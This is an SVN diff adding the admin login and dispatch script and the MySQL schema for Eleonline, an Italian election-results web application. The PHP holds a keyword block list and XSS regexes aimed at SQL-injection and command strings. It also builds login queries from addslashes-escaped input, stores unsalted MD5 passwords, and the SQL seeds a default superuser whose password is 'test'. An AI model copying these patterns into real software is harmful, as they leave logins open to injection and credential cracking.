Index: /trunk/elezioni/trunk/admin/admin.php
===================================================================
--- /trunk/elezioni/trunk/admin/admin.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/admin.php	(revision 44)
@@ -0,0 +1,526 @@
+<?php
+
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Admin	                                                          */
+/* Amministrazione                                                      */
+/************************************************************************/
+
+/* Descrizione file admin.php = 
+effettua il login o il rilancio alla gestione */
+
+define('ADMIN_FILE', true);
+#$LIMITE=3; //fascia di separazione del maggioritario (15.000 abitanti)
+# tempo di sessione: ini_set('session.gc_maxlifetime','3600');
+
+// Adattamento variabili superglobal
+// Versione di php
+$phpver = phpversion();
+
+// converte superglobal se php e' < 4.1.0
+
+if ($phpver < '4.1.0') {
+  $_GET = $HTTP_GET_VARS;
+  $_POST = $HTTP_POST_VARS;
+  $_SERVER = $HTTP_SERVER_VARS;
+  $_FILES = $HTTP_POST_FILES;
+  $_ENV = $HTTP_ENV_VARS;
+  if($_SERVER['REQUEST_METHOD'] == "POST") {
+    $_REQUEST = $_POST;
+  } elseif($_SERVER['REQUEST_METHOD'] == "GET") {
+    $_REQUEST = $_GET;
+  }
+  if(isset($HTTP_COOKIE_VARS)) {
+    $_COOKIE = $HTTP_COOKIE_VARS;
+  }
+  if(isset($HTTP_SESSION_VARS)) {
+    $_SESSION = $HTTP_SESSION_VARS;
+  }
+}
+
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+if (isset($param['aid'])) get_magic_quotes_gpc() ? $aid=$param['aid']:$aid=addslashes($param['aid']); 
+if (isset($param['pwd'])) get_magic_quotes_gpc() ? $pwd2=$param['pwd']:$pwd2=addslashes($param['pwd']); 
+// Additional security (Union, CLike, XSS)
+
+// We want to use the function stripos,
+// but thats only available since PHP5.
+// So we cloned the function...
+if(!function_exists('stripos')) {
+  function stripos_clone($haystack, $needle, $offset=0) {
+    return strpos(strtoupper($haystack), strtoupper($needle), $offset);
+  }
+} else {
+// But when this is PHP5, we use the original function	
+  function stripos_clone($haystack, $needle, $offset=0) {
+    return stripos($haystack, $needle, $offset=0);
+  }
+}
+
+  if(isset($_SERVER['QUERY_STRING']) && (!stripos_clone($_SERVER['QUERY_STRING'], "ad_click") || !stripos_clone($_SERVER['QUERY_STRING'], "url"))) {
+    $queryString = $_SERVER['QUERY_STRING'];
+    if (stripos_clone($queryString,'%20union%20') OR stripos_clone($queryString,'/*') OR stripos_clone($queryString,'*/union/*') OR stripos_clone($queryString,'c2nyaxb0') OR stripos_clone($queryString,'+union+') OR stripos_clone($queryString,'http://') OR (stripos_clone($queryString,'cmd=') AND !stripos_clone($queryString,'&cmd')) OR (stripos_clone($queryString,'exec') AND !stripos_clone($queryString,'execu')) OR stripos_clone($queryString,'concat')) {
+      die('Operazione non consentita');
+    }
+  }
+
+
+foreach ($_GET as $sec_key => $secvalue) {
+    if ((preg_match("/<[^>]*script*\"?[^>]*>/i",$secvalue)) ||
+	(preg_match("/<[^>]*object*\"?[^>]*>/i", $secvalue)) ||
+	(preg_match("/<[^>]*iframe*\"?[^>]*>/i", $secvalue)) ||
+	(preg_match("/<[^>]*applet*\"?[^>]*>/i", $secvalue)) ||
+	(preg_match("/<[^>]*meta*\"?[^>]*>/i", $secvalue)) ||
+	(preg_match("/<[^>]*style*\"?[^>]*>/i", $secvalue)) ||
+	(preg_match("/<[^>]*form*\"?[^>]*>/i", $secvalue)) ||
+	(preg_match("/<[^>]*img*\"?[^>]*>/i", $secvalue)) ||
+	(preg_match("/<[^>]*onmouseover*\"?[^>]*>/i", $secvalue)) ||
+	(preg_match("/<[^>]*body*\"?[^>]*>/i", $secvalue)) ||
+	(preg_match("/\([^>]*\"?[^)]*\)/", $secvalue)) ||
+	(preg_match("/\"/", $secvalue)) ||
+	(preg_match("/inside_mod/i", $sec_key))) {
+        die ("Operazione non consentita");
+     }
+  }
+
+  foreach ($_POST as $secvalue) {
+    if ((preg_match("/<[^>]*onmouseover*\"?[^>]*>/i", $secvalue)) || (preg_match("/<[^>]script*\"?[^>]*>/i", $secvalue)) || (preg_match("/<[^>]*body*\"?[^>]*>/i", $secvalue)) || (preg_match("/<[^>]style*\"?[^>]*>/i", $secvalue))) {
+      die ('Operazione non consentita');
+    }
+  }
+  
+// Posting from other servers in not allowed
+// Fix by Quake
+// Bug found by PeNdEjO
+
+if ($_SERVER['REQUEST_METHOD'] == "POST") {
+  if (isset($_SERVER['HTTP_REFERER'])) {
+    if (!stripos_clone($_SERVER['HTTP_REFERER'], $_SERVER['HTTP_HOST'])) {
+        die('Posting da un altro server non  consentito!');
+    }
+  } else {
+#    die('<b>Attenzione:</b> il tuo browser non puo inviare gli header HTTP_REFERER al website.<br>'.$_SERVER['HTTP_REFERER']);
+  }
+}
+  
+
+  
+
+
+
+
+//===================================================================
+session_name('sesadmin');
+session_start();//MODIFICHE PER GESTIONE SESSIONI
+  // gestione sessione
+
+
+
+include("config.php");
+		$dbi=mysql_connect($dbhost, $dbuname, $dbpass) or die("Connessione non riuscita: " . mysql_error());
+		mysql_select_db($dbname)or die("Connessione non riuscita:" . mysql_error());
+	mysql_query("SET NAMES 'utf8'", $dbi);
+//---10/05/2009  gestione consultazione predefinita
+		$res_config = mysql_query("select * from ".$prefix."_config ",$dbi);
+		list ($sitename,$siteurl,$site_logo,$slogan,$startdate,$adminmail,$tema,$foot,$language,$blocco
+,$testata,$logo,$fileout,$copyright,$versione,$patch,$id_comune,$multicomune,$flash,$displayerrors,$editor,$tema_on,$ed_user) = mysql_fetch_row($res_config);
+		$siteistat=$id_comune;
+if (!isset($_SESSION['id_comune'])){
+	$_SESSION['sitename']=$sitename;
+	$_SESSION['siteurl']=$siteurl;
+	$_SESSION['site_logo']=$site_logo;
+	$_SESSION['slogan']=$slogan;
+	$_SESSION['startdate']=$startdate;
+	$_SESSION['adminmail']=$adminmail;
+	if ($tema=='facebook')
+		$_SESSION['tema']=$tema;
+	else $_SESSION['tema']='default';
+	$_SESSION['foot']=$foot;
+	$_SESSION['lang']=$language;
+	$_SESSION['blocco']=$blocco;
+	$_SESSION['testata']=$testata;
+	$_SESSION['logo']=$logo;
+	$_SESSION['fileout']=$fileout;
+	$_SESSION['copyright']=$copyright;
+	$_SESSION['versione']=$versione;
+	$_SESSION['patch']=$patch;
+	$_SESSION['id_comune']=$id_comune;
+	$_SESSION['multicomune']=$multicomune;
+	$_SESSION['flash']=$flash;
+	$_SESSION['displayerrors']=$displayerrors;
+	$_SESSION['editor']=$editor;
+	$_SESSION['tema_on']=$tema_on;
+	$_SESSION['ed_user']=$ed_user;
+}
+//fine
+if (isset($param['aid'])) {
+        if (strlen($aid)>25 ) { die ("Nome utente troppo lungo: $aid"); }	
+	if (!isset($param['id_ses']) or $param['id_ses'] != session_id()) logout();
+	if (strstr( $aid," ")) { die ("Gli spazi non sono ammessi nel nome utente: $aid"); }
+	if (isset($_SESSION['aid'])){
+		logout();//se hai gia' una sessione aperta non puoi postare 'aid'
+	}else{
+		
+	
+	      //  $pwd2=$param['pwd'];
+		$mpwd=md5($pwd2);
+
+		// se superUserAdmin 
+########
+		$res_comune = mysql_query("select adminsuper from ".$prefix."_authors where aid='$aid' and pwd='$mpwd'",$dbi);
+		list ($adminsuper) = mysql_fetch_row($res_comune);
+		if ($adminsuper==1) $id_comune='0';
+		elseif (is_numeric($param['id_comune']) and intval($param['id_comune'])>0) $id_comune=intval($param['id_comune']);
+		$res= mysql_query("select counter,admlanguage from ".$prefix."_authors where aid='$aid' and pwd='$mpwd' and id_comune='$id_comune'", $dbi);
+
+		if ($res){
+			$esiste=mysql_num_rows($res);
+
+
+			list ($counter,$tmplang) = mysql_fetch_row($res);
+			$counter+=1; 
+			if(strlen($tmplang)==2) $language=$tmplang;
+			$resup=mysql_query("update ".$prefix."_authors set counter=$counter where aid='$aid' and pwd='$mpwd' and id_comune='$id_comune'", $dbi);
+			if ($esiste==1) {
+				$_SESSION['dbi']=$dbi;
+				$_SESSION['aid']="$aid";
+				$_SESSION['pwd']="$mpwd";
+				$_SESSION['lang']="$language";
+				$_SESSION['id_comune']="$id_comune";
+				$_SESSION['prefix']="soraldo";
+				$_SESSION['remote']=$_SERVER['REMOTE_ADDR'];
+				$_SESSION['bgcolor1']='#ffffff';
+				$_SESSION['bgcolor2']='#c5c5c5';
+    				session_regenerate_id();
+			} 
+		}
+	}
+}else{
+$_SESSION['dbi']=$dbi;
+
+}
+if (! isset($_SESSION['lang'])) $_SESSION['lang']=$language;
+$currentlang=strlen($_SESSION['lang'])==2 ? $_SESSION['lang']: $language;
+#if (isset($_SESSION['lang'])) $currentlang=$_SESSION['lang']; else $currentlang='it';
+if (isset($_SESSION['aid']))
+{
+//lettura sessione
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+$id_comune=$_SESSION['id_comune'];
+if (isset($_GET['id_cons_gen'])) $id_cons_gen=intval($_GET['id_cons_gen']);
+else {
+//10/05/2009 gestione consultazione predefinita
+	$result = mysql_query("select id_cons_gen  from ".$prefix."_ele_cons_comune where preferita='1' and (id_comune='$id_comune' or id_comune=0)", $dbi);
+list($id_cons_gen) = mysql_fetch_row($result);
+//---fine	$id_cons_gen='';
+}
+$currentlang=$_SESSION['lang'];
+$bgcolor1=$_SESSION['bgcolor1'];
+$bgcolor2=$_SESSION['bgcolor2'];
+$bgcolor1='#e7e7e7';
+$session=$_SESSION['remote'];
+
+$perms=ChiSei($id_cons_gen);
+}
+
+
+/*********************************************************/
+/* Login Function                                        */
+/*********************************************************/
+function ChiSei($id_cons_gen){
+
+//$server=$_SERVER['REMOTE_ADDR'];
+//$session=$_SESSION['remote'];
+//if ($session!=$server) { die ("Problema di sessione"); };
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+$pwd=$_SESSION['pwd'];
+$id_comune=$_SESSION['id_comune'];
+
+
+$perms=0;
+$result = mysql_query("select adminsuper, admincomune, adminop  from ".$prefix."_authors where aid='$aid' and pwd='$pwd' and (id_comune='$id_comune' or id_comune=0)", $dbi);
+list($adminsuper,$admincomune,$adminop) = mysql_fetch_row($result);
+//exit;
+if (($adminsuper==1 || $admincomune==1 || $adminop==1)) {
+	if ($adminsuper==1)
+		return 256;
+//		$ressup = mysql_query("select permessi from ".$prefix."_ele_operatori where id_cons='0' and aid='$aid' and id_comune='0'",$dbi);
+	elseif ($adminop==1) 
+		$ressup = mysql_query("select permessi from ".$prefix."_ele_operatori where id_cons='0' and aid='$aid' and id_comune='$id_comune'",$dbi);
+	elseif ($admincomune==1) {
+		$res=mysql_query("select id_cons from ".$prefix."_ele_cons_comune where id_comune='$id_comune' and id_cons_gen='$id_cons_gen'",$dbi);
+		list ($id_cons)=mysql_fetch_row($res);
+		$ressup = mysql_query("select permessi from ".$prefix."_ele_operatori where id_cons='$id_cons' and aid='$aid' and id_comune='$id_comune'",$dbi);
+	}
+	if (mysql_num_rows($ressup)==1) list($perms)=mysql_fetch_row($ressup); else $perms=0;
+	return $perms;
+} else return 0;
+}
+
+function OpenTable(){
+echo "<table  width=\"100%\"   cellpadding=\"0\" cellspacing=\"2\"  BORDER=\"0\">";
+}
+
+function CloseTable(){
+echo "</table>";
+}
+
+function login() {
+    global $param,$prefix,$dbi,$multicomune,$siteistat,$language,$tema;
+    $lang=strlen($_SESSION['lang'])==2 ? $_SESSION['lang']: $language;
+    if (isset($param['id_comune'])) $id_comune=intval($param['id_comune']);
+    if (!isset($id_comune)) $id_comune=0;
+    session_regenerate_id();
+    $id_ses=session_id();
+#die("test:$tema");
+    //include("modules/Elezioni/language/lang-$lang.php");
+    include ("header.php");
+    echo "<div align=\"middle\"><font class=\"title\"><b>"._GESTIONE."</b></font></center>";
+    echo "<br>";  # method=\"post\"
+    echo "<form name=\"login\" method=\"post\" action=\"admin.php\">"
+        ."<table align=\"middle\" border=\"0\">"
+	."<tr><td>"._ADMINID."</td>"
+	."<td><input type=\"text\" NAME=\"aid\" SIZE=\"20\" MAXLENGTH=\"25\"></td></tr>"
+	."<tr><td>"._PASSWORD."</td>"
+	."<td><input type=\"password\" NAME=\"pwd\" SIZE=\"20\" MAXLENGTH=\"18\"></td></tr>"
+	."<tr><td>";
+	// scelta comune 
+	if($multicomune=='1'){
+		echo ""._COMUNE."</td><td>";
+		$sqlcomu="select id_comune,descrizione from ".$prefix."_ele_comuni order by descrizione asc";
+		$rescomu= mysql_query("$sqlcomu",$dbi);
+	
+		echo "<select name=\"id_comune\">";
+		while (list($id,$descrizione)=mysql_fetch_row($rescomu))
+		{
+			$sel=($id == $id_comune) ? "selected":"";
+			echo "<option value=\"$id\" $sel>$descrizione";
+		}
+	}else{
+		echo "<input type=\"hidden\" name=\"id_comune\" value=\"$siteistat\">";
+	}
+//	echo "<input type=\"hidden\" name=\"id_comune\" value=\"$id_comune\">";
+	if(strlen($lang)==2) echo "<input type=\"hidden\" name=\"language\" value=\"$lang\">";
+	echo "</td></tr><tr><td>";
+	echo "<input type=\"hidden\" name=\"id_ses\" value=\"$id_ses\">";
+	echo "<input type=\"submit\" VALUE=\""._OK."\">"
+	."</td></tr></table>"
+	."</form></div>";
+        
+    include ("footer.php");
+}
+
+function logout()
+{
+/* $lang=$_SESSION['lang'];
+$id_comune=$_SESSION['id_comune'];
+//	setcookie ("PHPSESSID", "", time() - 3600);
+	session_cache_expire (0);
+        $_SESSION=array();  //MODIFICHE PER GESTIONE SESSIONI
+	session_unset();        
+	session_destroy();
+        Header("Location: admin.php?id_comune=$id_comune&language=$lang");
+*/
+global $siteistat; 
+
+$ref="Location: admin.php?"; 
+if (isset($_SESSION['id_comune'])) 
+$id_comune=$_SESSION['id_comune']; 
+else 
+$id_comune=$siteistat; 
+$ref=$ref."id_comune=".$id_comune; 
+
+if (isset($_SESSION['lang'])) 
+$ref=$ref."&language=".$_SESSION['lang']; 
+
+session_cache_expire (0); 
+$_SESSION=array();  
+session_unset(); 
+session_destroy(); 
+Header($ref); 
+
+}
+
+if (isset($param['op'])) get_magic_quotes_gpc() ? $op=$param['op']:$op=addslashes($param['op']); else $op='ele';
+//if (isset($param['op'])) $op=$param['op']; else $op='ele';
+if (isset($_SESSION['aid']) AND $_SESSION['remote']==$_SERVER['REMOTE_ADDR']) {
+switch($op) {
+    case "tipo":
+    include("modules/Elezioni/ele_tipi.php");
+	break;
+    case "constipi":
+    include("modules/Elezioni/ele_consultazionitipi.php");
+	break;
+    case "aggiorna":
+    include("modules/Elezioni/aggiorna.php");
+	break;
+    case "parziali":
+    include("modules/Elezioni/ele_parziali.php");
+	break;
+    case "ele": 
+    include("modules/Elezioni/ele.php");
+    break;
+    case "consultazione":
+    include("modules/Elezioni/ele_consultazioni.php");
+    break;
+    case "configurazione":
+    include("modules/Elezioni/ele_configurazione.php");
+    break;
+    case "cons_comuni":
+    include("modules/Elezioni/ele_cons_comuni.php");
+    break;
+    case "confconsiglio":
+    include("modules/Elezioni/ele_confcons.php");
+    break;
+    case "inscomuni":
+    include("modules/Elezioni/ele_comuni.php");
+    break;
+    case "oper_admin":
+    include("modules/Elezioni/ele_operatori.php");
+    break;
+    case "inscollegi":
+    include("modules/Elezioni/ele_collegi.php");
+    break;
+    case "associazioni":
+    include("modules/Elezioni/ele_associazioni.php");
+    break;
+    case "operatori":
+    include("modules/Elezioni/ele_operatori.php");
+    break;
+    case "permessi":
+    include("modules/Elezioni/ele_permessi.php");
+    break;
+    case "circo":
+    include("modules/Elezioni/ele_circo.php");
+    break;
+ case "sede":
+    include("modules/Elezioni/ele_sede.php");
+    break;
+case "sezione":
+    include("modules/Elezioni/ele_sezione.php");
+    break;
+case "gruppo":
+    include("modules/Elezioni/ele_gruppo.php");
+    break;
+case "rec_add_aff":
+    include("modules/Elezioni/ele_affluenze.php");
+    break;
+case "rec_add_mod":
+    include("modules/Elezioni/ele_modelli.php");
+    break;
+case "upgruppo":
+    include("modules/Elezioni/ele_gruppo.php");
+    break;
+case "delimggruppo":
+    include("modules/Elezioni/ele_gruppo.php");
+    break;
+case "lista":
+    include("modules/Elezioni/ele_lista.php");
+    break;
+case "uplista":
+    include("modules/Elezioni/ele_lista.php");
+    break;
+case "delimglista":
+    include("modules/Elezioni/ele_lista.php");
+    break;
+case "candidato":
+    include("modules/Elezioni/ele_candidato.php");
+    break;
+case "upcandidato":
+    include("modules/Elezioni/ele_candidato.php");
+    break;
+case "delimgcandidato":
+    include("modules/Elezioni/ele_candidato.php");
+    break;
+
+case "voti":
+    include("modules/Elezioni/ele_voti.php");
+    break;
+case "sezioni_voti":
+    include("modules/Elezioni/ele_voti.php");
+    break;
+case "rec_voti":
+    include("modules/Elezioni/ele_voti.php");
+    break;
+case "rec_voti_gruppi":
+    include("modules/Elezioni/ele_voti.php");
+    break;
+case "rec_add_votanti":
+    include("modules/Elezioni/ele_voti.php");
+    break;
+case "rec_finale":
+    include("modules/Elezioni/ele_voti.php");
+    break;
+case "controllo_voti":
+    include("modules/Elezioni/controllo_voti.php");
+    break;
+case "controllo_votanti":
+    include("modules/Elezioni/controllo_votanti.php");
+    break;
+case "come":
+    include("modules/Elezioni/ele_come.php");
+    break;
+case "numeri":
+    include("modules/Elezioni/ele_come.php");
+    break;
+case "servizi":
+    include("modules/Elezioni/ele_come.php");
+    break;
+case "link":
+    include("modules/Elezioni/ele_come.php");
+    break;
+case "conf":
+    include("modules/Elezioni/ele_conf.php");
+    break;
+case "stampa":
+    include("modules/Elezioni/ele_stampe.php");
+ break;
+case "cambiopwd":
+    include("modules/Elezioni/ele_pwd.php");
+    break;
+case "eletti":
+    include("modules/Elezioni/ele_eletti.php");
+    break;
+case "foto":
+    include("modules/Elezioni/foto.php");
+    break;
+case "consiglieri":
+    include("modules/Elezioni/ele_consiglieri.php");
+    break;
+case "backup":
+    include("modules/Elezioni/backup.php");
+    break;
+case "restore":
+    include("modules/Elezioni/restore.php");
+    break;
+case "scarica":
+    include("modules/Elezioni/scarica.php");
+    break;
+case "importa":
+    include("modules/Elezioni/importa.php");
+    break;
+case "widget":
+    include("modules/Elezioni/ele_widget.php");
+    break;
+   
+
+case "logout":
+	logout();
+    break;
+}
+}else {
+
+    login();
+
+}
+
+
+?>
Index: /trunk/elezioni/trunk/admin/eleonline.sql
===================================================================
--- /trunk/elezioni/trunk/admin/eleonline.sql	(revision 44)
+++ /trunk/elezioni/trunk/admin/eleonline.sql	(revision 44)
@@ -0,0 +1,508 @@
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_access` (
+  `access_id` int(10) NOT NULL,
+  `access_title` varchar(20) default NULL,
+  PRIMARY KEY  (`access_id`)
+) ENGINE=MyISAM  DEFAULT CHARSET=latin1 ;
+
+
+INSERT INTO `soraldo_access` (`access_id`, `access_title`) VALUES 
+(1, 'Sospeso'),
+(16, 'Operatore'),
+(32, 'Amministratore'),
+(64, 'Amministratore Unico'),
+(256, 'Superuser');
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_fasce` (
+  `id_fascia` int(2) NOT NULL,
+  `abitanti` int(11) NOT NULL,
+  `data_inizio` date NOT NULL,
+  `data_fine` date NOT NULL,
+  `seggi` int(4) NOT NULL,
+  PRIMARY KEY  (`id_fascia`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+
+INSERT INTO `soraldo_ele_fasce` VALUES (1,3000,'2000-01-01','0000-00-00',12),(2,10000,'2000-01-01','0000-00-00',16),(3,15000,'2000-01-01','0000-00-00',20),(4,30000,'2000-01-01','0000-00-00',20),(5,100000,'2000-01-01','0000-00-00',30),(6,250000,'2000-01-01','0000-00-00',40),(7,500000,'2000-01-01','0000-00-00',46),(8,1000000,'2000-01-01','0000-00-00',50),(9,100000000,'2000-01-01','0000-00-00',60);
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_authors` (
+  `aid` varchar(25) NOT NULL default '',
+  `name` varchar(50) default NULL,
+  `id_comune` int(11) NOT NULL default '0',
+  `email` varchar(255) default NULL,
+  `pwd` varchar(40) default NULL,
+  `counter` int(11) NOT NULL default '0',
+  `adminop` tinyint(2) NOT NULL default '0',
+  `admincomune` tinyint(2) NOT NULL default '0',
+  `adminsuper` tinyint(2) NOT NULL default '1',
+  `admlanguage` varchar(30) NOT NULL default '',
+  PRIMARY KEY  (`aid`,`id_comune`),
+  KEY `aid` (`aid`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+
+INSERT INTO `soraldo_authors` (`aid`, `name`, `id_comune`, `email`, `pwd`, `counter`, `adminop`, `admincomune`, `adminsuper`, `admlanguage`) VALUES 
+('suser', 'suser', 0, 'test@', '098f6bcd4621d373cade4e832627b4f6', 1, 0, 0, 1, 'it');
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_config` (
+  `sitename` varchar(255) NOT NULL default '',
+  `siteurl` varchar(255) NOT NULL default '',
+  `site_logo` varchar(255) NOT NULL default '',
+  `slogan` varchar(255) NOT NULL default '',
+  `startdate` varchar(50) NOT NULL default '',
+  `adminmail` varchar(255) NOT NULL default '',
+  `Default_Theme` varchar(255) NOT NULL default '',
+  `foot` text NOT NULL,
+  `language` varchar(100) NOT NULL default '',
+  `blocco` tinyint(1) NOT NULL,
+  `testata` varchar(255) NOT NULL,
+  `logo` varchar(255) NOT NULL,
+  `fileout` varchar(255) NOT NULL,
+  `copyright` text NOT NULL,
+  `Version_Num` varchar(10) NOT NULL default ''
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+
+INSERT INTO `soraldo_config` (`sitename`, `siteurl`, `site_logo`, `slogan`, `startdate`, `adminmail`, `Default_Theme`, `foot`, `language`, `blocco`, `testata`, `logo`, `fileout`, `copyright`, `Version_Num`) VALUES 
+('Comune di Guidonia Montecelio', 'http://www.guidonia.org', 'logo.gif', 'Sito istituzionale', 'September 2002', 'luciano@guidonia.org', 'guidonia2', '<b>Comune di Guidonia Montecelio</b><br>\r\nPiazza Matteotti 1 , 00012 Guidonia Montecelio (Roma)\r\nTel: 07743011 Fax: 0774342629 \r\n<hr>', 'italian', 1, '', '', '', '', '0.5');
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_candidati` (
+  `id_cand` int(11) NOT NULL auto_increment,
+  `id_cons` int(11) NOT NULL default '0',
+  `id_lista` int(11) NOT NULL default '0',
+  `cognome` varchar(30) default NULL,
+  `nome` varchar(30) default NULL,
+  `note` tinytext NOT NULL,
+  `simbolo` varchar(30) NOT NULL default '',
+  `num_cand` int(7) NOT NULL default '0',
+  UNIQUE KEY `id_cand` (`id_cand`),
+  KEY `id_cons` (`id_cons`),
+  KEY `id_lista` (`id_lista`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_circoscrizione` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_circ` int(11) NOT NULL auto_increment,
+  `num_circ` int(7) NOT NULL default '0',
+  `descrizione` text,
+  UNIQUE KEY `id_circ` (`id_circ`),
+  UNIQUE KEY `id_cons` (`id_cons`,`num_circ`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_collegi` (
+  `id_collegio` int(11) NOT NULL auto_increment,
+  `id_cons_gen` int(11) NOT NULL default '0',
+  `descrizione` text,
+  PRIMARY KEY  (`id_collegio`),
+  KEY `id_cons_gen` (`id_cons_gen`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_come` (
+  `id_cons` int(11) NOT NULL default '0',
+  `mid` int(7) NOT NULL auto_increment,
+  `title` varchar(150) NOT NULL default '',
+  `preamble` text NOT NULL,
+  `content` text NOT NULL,
+  `editimage` varchar(100) NOT NULL default '',
+  UNIQUE KEY `mid` (`mid`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_comu_collegi` (
+  `id_collegio` int(11) NOT NULL default '0',
+  `id_cons` int(11) NOT NULL default '0',
+  `id_comune` int(11) NOT NULL default '0',
+  `id_cons_gen` int(11) NOT NULL default '0',
+  PRIMARY KEY  (`id_cons_gen`,`id_comune`),
+  KEY `id_cons` (`id_cons`),
+  KEY `id_collegio` (`id_collegio`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_comuni` (
+  `id_comune` int(11) NOT NULL default '0',
+  `descrizione` varchar(50) default NULL,
+  `indirizzo` varchar(50) default NULL,
+  `centralino` varchar(15) default NULL,
+  `fax` varchar(15) default NULL,
+  `email` varchar(50) default NULL,
+  `fascia` tinyint(4) NOT NULL default '0',
+  `capoluogo` enum('0','1') NOT NULL default '0',
+  PRIMARY KEY  (`id_comune`),
+  KEY `access_id` (`descrizione`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_conf` (
+  `id_conf` int(10) default NULL,
+  `id_com` int(10) default NULL,
+  `stemma` blob NOT NULL,
+  `descrizione` varchar(255) NOT NULL default ''
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+
+INSERT INTO `soraldo_ele_conf` (`id_conf`, `id_com`, `stemma`, `descrizione`) VALUES 
+(0, 0, 0x4749463839610a000a00800000ffffffffffff21fe15437265617465642077697468205468652047494d500021f904010a0001002c000000000a000a000002088c8fa9cbed0f632b003b, 'nulla');
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_cons_comune` (
+  `id_cons` int(11) NOT NULL auto_increment,
+  `chiusa` set('0','1','2') NOT NULL default '0',
+  `id_comune` int(11) NOT NULL default '0',
+  `id_cons_gen` int(11) NOT NULL default '0',
+  PRIMARY KEY  (`id_cons`),
+  UNIQUE KEY `comune` (`id_comune`,`id_cons_gen`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_consultazione` (
+  `id_cons_gen` int(11) NOT NULL auto_increment,
+  `descrizione` text,
+  `data_inizio` date default NULL,
+  `data_fine` date default NULL,
+  `tipo_cons` int(7) NOT NULL default '0',
+  PRIMARY KEY  (`id_cons_gen`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_gruppo` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_gruppo` int(11) NOT NULL auto_increment,
+  `num_gruppo` int(7) NOT NULL default '0',
+  `descrizione` text,
+  `simbolo` text,
+  `stemma` blob,
+  `id_circ` int(11) NOT NULL default '0',
+  UNIQUE KEY `id_gruppo` (`id_gruppo`),
+  UNIQUE KEY `id_cons` (`id_cons`,`num_gruppo`,`id_circ`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_link` (
+  `id_cons` int(11) NOT NULL default '0',
+  `mid` int(7) NOT NULL auto_increment,
+  `title` varchar(150) NOT NULL default '',
+  `preamble` text NOT NULL,
+  `content` text NOT NULL,
+  `editimage` varchar(100) NOT NULL default '',
+  PRIMARY KEY  (`mid`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_lista` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_lista` int(11) NOT NULL auto_increment,
+  `num_lista` int(7) NOT NULL default '0',
+  `id_gruppo` int(11) NOT NULL default '0',
+  `id_circ` int(11) NOT NULL default '0',
+  `descrizione` text,
+  `simbolo` text,
+  `stemma` blob,
+  PRIMARY KEY  (`id_cons`,`num_lista`,`id_circ`),
+  UNIQUE KEY `id_lista` (`id_lista`),
+  KEY `id_gruppo` (`id_gruppo`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_log` (
+  `id_cons` int(11) default NULL,
+  `id_sez` int(11) default NULL,
+  `utente` varchar(20) default NULL,
+  `data` date default NULL,
+  `ora` time default NULL,
+  `log_da` text,
+  `log_a` text,
+  `tabella` varchar(30) default NULL,
+  KEY `id_cons` (`id_cons`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_modelli` (
+  `id_cons` int(11) NOT NULL default '0',
+  `categoria` varchar(20) NOT NULL default '',
+  `modello` blob NOT NULL,
+  KEY `access_id` (`id_cons`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_numeri` (
+  `id_cons` int(11) NOT NULL default '0',
+  `mid` int(7) NOT NULL auto_increment,
+  `title` varchar(150) NOT NULL default '',
+  `preamble` text NOT NULL,
+  `content` text NOT NULL,
+  `editimage` varchar(100) NOT NULL default '',
+  PRIMARY KEY  (`mid`),
+  KEY `id_cons` (`id_cons`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+
+
+
+
